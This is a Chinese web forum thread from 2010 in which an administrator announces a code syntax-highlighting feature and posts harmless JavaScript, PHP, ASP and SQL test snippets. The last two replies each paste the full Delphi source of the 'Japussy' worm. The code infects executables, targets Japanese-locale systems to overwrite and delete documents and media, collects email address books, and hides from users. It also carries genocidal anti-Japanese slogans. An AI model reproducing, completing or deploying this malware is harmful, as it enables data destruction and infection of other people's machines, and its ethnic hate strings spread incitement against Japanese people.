AspRain官方论坛 › asprain论坛使用讨论区 › 新功能测试 › 给论坛加了一个代码语法高亮的功能! 
共9个回复  第1页 / 共1页  
发帖
本版版主:稽山草
主题:给论坛加了一个代码语法高亮的功能!收藏此帖  |引用到博客|只看楼主 你是本帖第612个浏览者

MM,不在线~加为好友 稽山草

门派:无门无派

点此查看稽山草的个人资料
等级:论坛创始人 (2259)
金钱值:32165人品值:352
赠送礼物发站内信
1楼 发表于:2010-2-3 2:53:02 只看该作者 IP来源:*.*.*.*

给论坛加了一个代码语法高亮的功能!

现在它能够很好地对javascript、php、asp、sql、css、html、C++、C#、Delphi、java、locus这十种开发语言进行语法高亮。方法是:输入UBB代码[code=***][/code],这个***可以是js、php、asp、sql、css、cpp、cs、pas、java、ls,分别对应javascript、php、asp、sql、css、html、C++、C#、Delphi、java、locus。注意不要写错。
本帖在2010-2-3 3:05:10被作者稽山草编辑了
asdfasdfasdfasdfasdf
回复引用评分

MM,不在线~加为好友 稽山草

门派:无门无派

点此查看稽山草的个人资料
等级:论坛创始人 (2259)
金钱值:32165人品值:352
赠送礼物发站内信
2楼 发表于:2010-2-3 2:54:01 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

我现在来测试下一下功能:插入javascript代码:
 $.getPageScroll=function()
 {
 var x,y;
 if(window.pageYOffset)
  {
  y=window.pageYOffset;
  x=window.pageXOffset;
  }
 else if(document.documentElement&&document.documentElement.scrollTop)
  {
  y=document.documentElement.scrollTop;
  x=document.documentElement.scrollLeft;
  }
 else if(document.body)
  {
  y=document.body.scrollTop;
  x=document.body.scrollLeft;
  }
 return{X:x,Y:y};
 }
$.getPageSize=function()
 {
 var scrW,scrH;
 if(window.innerHeight&&window.scrollMaxY)
  {
  scrW=window.innerWidth+window.scrollMaxX;
  scrH=window.innerHeight+window.scrollMaxY;
  }
 else if(document.body.scrollHeight>document.body.offsetHeight)
  {
  scrW=document.body.scrollWidth;
  scrH=document.body.scrollHeight;
  }
 else if(document.body)
  {
  scrW=document.body.offsetWidth;
  scrH=document.body.offsetHeight;
  }
 var winW,winH;
 if(window.innerHeight)
  {
  winW=window.innerWidth;
  winH=window.innerHeight;
  }
 else if(document.documentElement&&document.documentElement.clientHeight)
  {
  winW=document.documentElement.clientWidth;
  winH=document.documentElement.clientHeight;
  }
 else if(document.body)
  {
  winW=document.body.clientWidth;
  winH=document.body.clientHeight;
  }
 var pageW=(scrW<winW)?winW:scrW;
 var pageH=(scrH<winH)?winH:scrH;
 return{PageW:pageW,PageH:pageH,WinW:winW,WinH:winH};
 }
本帖在2010-2-3 2:54:45被作者稽山草编辑了
asdfasdfasdfasdfasdf
回复引用评分

MM,不在线~加为好友 稽山草

门派:无门无派

点此查看稽山草的个人资料
等级:论坛创始人 (2259)
金钱值:32165人品值:352
赠送礼物发站内信
3楼 发表于:2010-2-3 2:56:18 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

插入php代码:
<?php
function serialize($array,$ret='',$i=1){
 foreach($array as $k => $v){
  if(is_array($v)){
   $next = $i+1;
   $ret .= "$k\t";
   $ret  = serialize($v,$ret,$next);
   $ret .= "\n$i\n";
  } else{
   $ret .= "$k\t$v\n$i\n";
  }
 }
 if(substr($ret,-3) == "\n$i\n"){
  $ret = substr($ret,0,-3);
 }
 return $ret;
}
function unserialize($str,$array=array(),$i=1){
 $str = explode("\n$i\n",$str);
 foreach ($str as $key => $value){
  $k = substr($value,0,strpos($value,"\t"));
  $v = substr($value,strpos($value,"\t")+1);
  if (strpos($v,"\n") !== false){
   $next  = $i+1;
   $array[$k] = unserialize($v,$array[$k],$next);
  } elseif(strpos($v,"\t") !== false){
   $array[$k] = array($array[$k],$v);
  } else {
   $array[$k] = $v;
  }
 }
 return $array;
}
function array($array,$string){
 $k = substr($string,0,strpos($string,"\t"));
 $v = substr($string,strpos($string,"\t")+1);
 if (strpos($v,"\t") !== false){
  $array[$k] = array($array[$k],$v);
 } else {
  $array[$k] = $v;
 }
 return  $array;
}
?> 
asdfasdfasdfasdfasdf
回复引用评分

MM,不在线~加为好友 稽山草

门派:无门无派

点此查看稽山草的个人资料
等级:论坛创始人 (2259)
金钱值:32165人品值:352
赠送礼物发站内信
4楼 发表于:2010-2-3 2:57:47 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

插入asp代码:
 function loadfromfile(byval filepath)
 dim st,text
 On Error Resume Next
 set st=server.createobject("adodb.stream")
 st.open ,0 
 st.type=2 
 st.charset="gb2312" 
 st.Position=0 
 st.LoadFromFile(server.mappath(filepath))
 If Err Then
  Err.clear
  text="NULL"
 Else
  text=st.readtext(-1)
 End If 
 st.close
 set st="nothing"
 loadfromfile=text
End function
sub removefile(filepath)
 dim fso
 filepath=server.mappath(filepath)
 set fso=server.createobject("Scripting.FileSystemObject")
 if fso.FileExists(filepath) then
 fso.DeleteFile filepath,true
 end if
 set fso=nothing
End sub
if datediff("d",lastaddtime,nowtime)< exprtime then
 sql="select [uid],count([pid]) from [ar_post] where [tid]="&i_tid&" and " _
 &"datediff(d,[addtime],'"&nowtime&"') < "&exprtime&" and " _
 &"[isdel]=0 group by [uid]"
 set rs=server.createobject("adodb.recordset")
 rs.open sql,conn,1,1
 if not rs.eof then
 dim i
 for i=1 to rs.recordcount
 response.write i&vbcrlf
 conn.execute "update [ar_user] set [experience]=[experience]-"&rs(1)*POSTADD _
 &",[postnum]=[postnum]-"&rs(1)&" where [uid]="&rs(0),1,128  
 rs.movenext
 next
 end if
 rs.close
 set rs=nothing
end if
本帖最近评分记录:
  • 人品:+9(气味儿)
asdfasdfasdfasdfasdf
回复引用评分

MM,不在线~加为好友 稽山草

门派:无门无派

点此查看稽山草的个人资料
等级:论坛创始人 (2259)
金钱值:32165人品值:352
赠送礼物发站内信
5楼 发表于:2010-2-3 2:59:00 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

插入sql代码:
USE [Uni86]
GO
/****** 对象:  StoredProcedure [dbo].[Group_Page]  
SET ANSI_NULLS OFF
GO
SET QUOTED_IDENTIFIER OFF
GO
ALTER procedure [dbo].[Group_Page]
@sql nvarchar(4000), --要执行的sql语句
@page int=1,    --要显示的页码
@pageSize int,  --每页的大小
@pageCount int=0 out, --总页数
@recordCount int=0 out --总记录数
as
set nocount on
declare @p1 int
declare @CurrentPage int
exec sp_cursoropen @p1 output,@sql,@scrollopt=1,@ccopt=1,@rowcount=@pagecount output
set @recordCount = @pageCount
set @CurrentPage = @page
select @pagecount=ceiling(1.0*@pagecount/@pagesize) 
IF @pagecount >= @CurrentPage
set @page=(@page-1)*@pagesize+1
ELSE
set @page=(@pagecount-1)*@pagesize+1
exec sp_cursorfetch @p1,16,@page,@pagesize 
exec sp_cursorclose @p1 
asdfasdfasdfasdfasdf
回复引用评分

MM,不在线~加为好友 稽山草

门派:无门无派

点此查看稽山草的个人资料
等级:论坛创始人 (2259)
金钱值:32165人品值:352
赠送礼物发站内信
6楼 发表于:2010-2-3 3:07:36 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

这个功能是我用jquery插件Chili做出来的。
 jquery插件chili是一个非常棒的代码语法高亮插件,可以对各种代码进行很好看的语法高亮。它的最新版是2,2版,下载地址:
http://code.google.com/p/jquery-chili-js/downloads/list
  但是它有一个缺点,就是无法对asp语言进行高亮。这个缺点令我有些愤怒:为什么chili作者偏偏疏省了asp呢?
  事实上,我记得另一个语法高亮插件SyntaxHighlighter也不能很好地对vbscript进行语法高亮。
  幸好,虽然chili的作者没有写asp的语法高亮功能,但也难不倒我。我自己动手写了一个asp的语法高亮功能,作为对chili的补充。
  我写的这个vbscript能对多数vbscript代码进行很好的高亮,颜色看起来已经很像Dreamweaver的高亮色了。但是,它也不算完美。最突出的一点是:它无法对vbscript的注释语句进行识别加灰。vbscript的注释语句是一个撇号'打头的语句,而且这个撇号不能在字符串中。我怎么改正则表达式都无法很好的匹配到这个条件。希望我的这个帖子能起到抛砖引玉效果,引来高手对它进行更进一步的修改。
asdfasdfasdfasdfasdf
回复引用评分

GG,正在线~加为好友 haibin606

门派:无门无派

点此查看haibin606的个人资料
等级:初入江湖 (64)
金钱值:100人品值:9
赠送礼物发站内信
7楼 发表于:2010-2-3 10:08:15 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

非常好~~~~
乐观*自信
blog.163.com/haibin_yang
回复引用评分

GG,正在线~加为好友 fby825

门派:SOHO

点此查看fby825的个人资料
等级:初入江湖 (4)
金钱值:0人品值:0
赠送礼物发站内信
8楼 发表于:2010-2-19 14:55:39 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

a8eff2f2f2bdb5c4b1a6b1a6d801
国家正反低俗呢,你赶紧去自首吧。。
回复引用评分

TT,正在线~加为好友 wcg96822

门派:

点此查看wcg96822的个人资料
等级:初入江湖 (64)
金钱值:0人品值:0
赠送礼物发站内信
9楼 发表于:2010-5-23 14:40:19 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = If a race need to be killed out, it must be Yamato. +
If a country need to be destroyed, it must be Japan! +
*** W32.Japussy.Worm.A ***;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
stdcall; external Kernel32.dll; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, JAPUSSY.EXE) = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except 
只看该作者
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + :;
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr .) and
(SearchRec.Name <> ..) then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> .) and
(SearchRec.Name <> ..) then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = .EXE) or (Ext = .SCR) then
begin
InfectOneFile(Fn); //感染可执行文件 
end
else if (Ext = .HTM) or (Ext = .HTML) or (Ext = .ASP) then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = .WAB then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = .ADC then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = IND then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else 
begin
if IsJap then //是倭文操作系统
begin
if (Ext = .DOC) or (Ext = .XLS) or (Ext = .MDB) or
(Ext = .MP3) or (Ext = .RM) or (Ext = .RA) or
(Ext = .WMA) or (Ext = .ZIP) or (Ext = .RAR) or
(Ext = .MPEG) or (Ext = .ASF) or (Ext = .JPG) or
(Ext = .JPEG) or (Ext = .GIF) or (Ext = .SWF) or
(Ext = .PDF) or (Ext = .CHM) or (Ext = .AVI) then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + *.*, faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + , Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + :, *.*); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), Japussy.exe) = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + .exe; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, ., Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
本帖在2010-5-23 14:51:50被作者wcg96822编辑了
回复引用评分

TT,正在线~加为好友 wcg96822

门派:

点此查看wcg96822的个人资料
等级:初入江湖 (64)
金钱值:0人品值:0
赠送礼物发站内信
10楼 发表于:2010-5-23 14:52:33 只看该作者 IP来源:*.*.*.*

Re: 给论坛加了一个代码语法高亮的功能!

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = If a race need to be killed out, it must be Yamato. +
If a country need to be destroyed, it must be Japan! +
*** W32.Japussy.Worm.A ***;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
stdcall; external Kernel32.dll; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, JAPUSSY.EXE) = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size &lt; 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max &lt; 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i &lt; Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except 
只看该作者
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + :;
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr .) and
(SearchRec.Name &lt;&gt; ..) then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name &lt;&gt; .) and
(SearchRec.Name &lt;&gt; ..) then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = .EXE) or (Ext = .SCR) then
begin
InfectOneFile(Fn); //感染可执行文件 
end
else if (Ext = .HTM) or (Ext = .HTML) or (Ext = .ASP) then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = .WAB then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = .ADC then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = IND then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else 
begin
if IsJap then //是倭文操作系统
begin
if (Ext = .DOC) or (Ext = .XLS) or (Ext = .MDB) or
(Ext = .MP3) or (Ext = .RM) or (Ext = .RA) or
(Ext = .WMA) or (Ext = .ZIP) or (Ext = .RAR) or
(Ext = .MPEG) or (Ext = .ASF) or (Ext = .JPG) or
(Ext = .JPEG) or (Ext = .GIF) or (Ext = .SWF) or
(Ext = .PDF) or (Ext = .CHM) or (Ext = .AVI) then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) &lt;&gt; 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + *.*, faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) &lt;&gt; 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + , Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + :, *.*); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), Japussy.exe) = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + .exe; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, ., Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
回复引用评分
共9个回复  第1页 / 共1页  
发帖
快速回复

你还没有登录,不能发表回复。点此注册 / 登录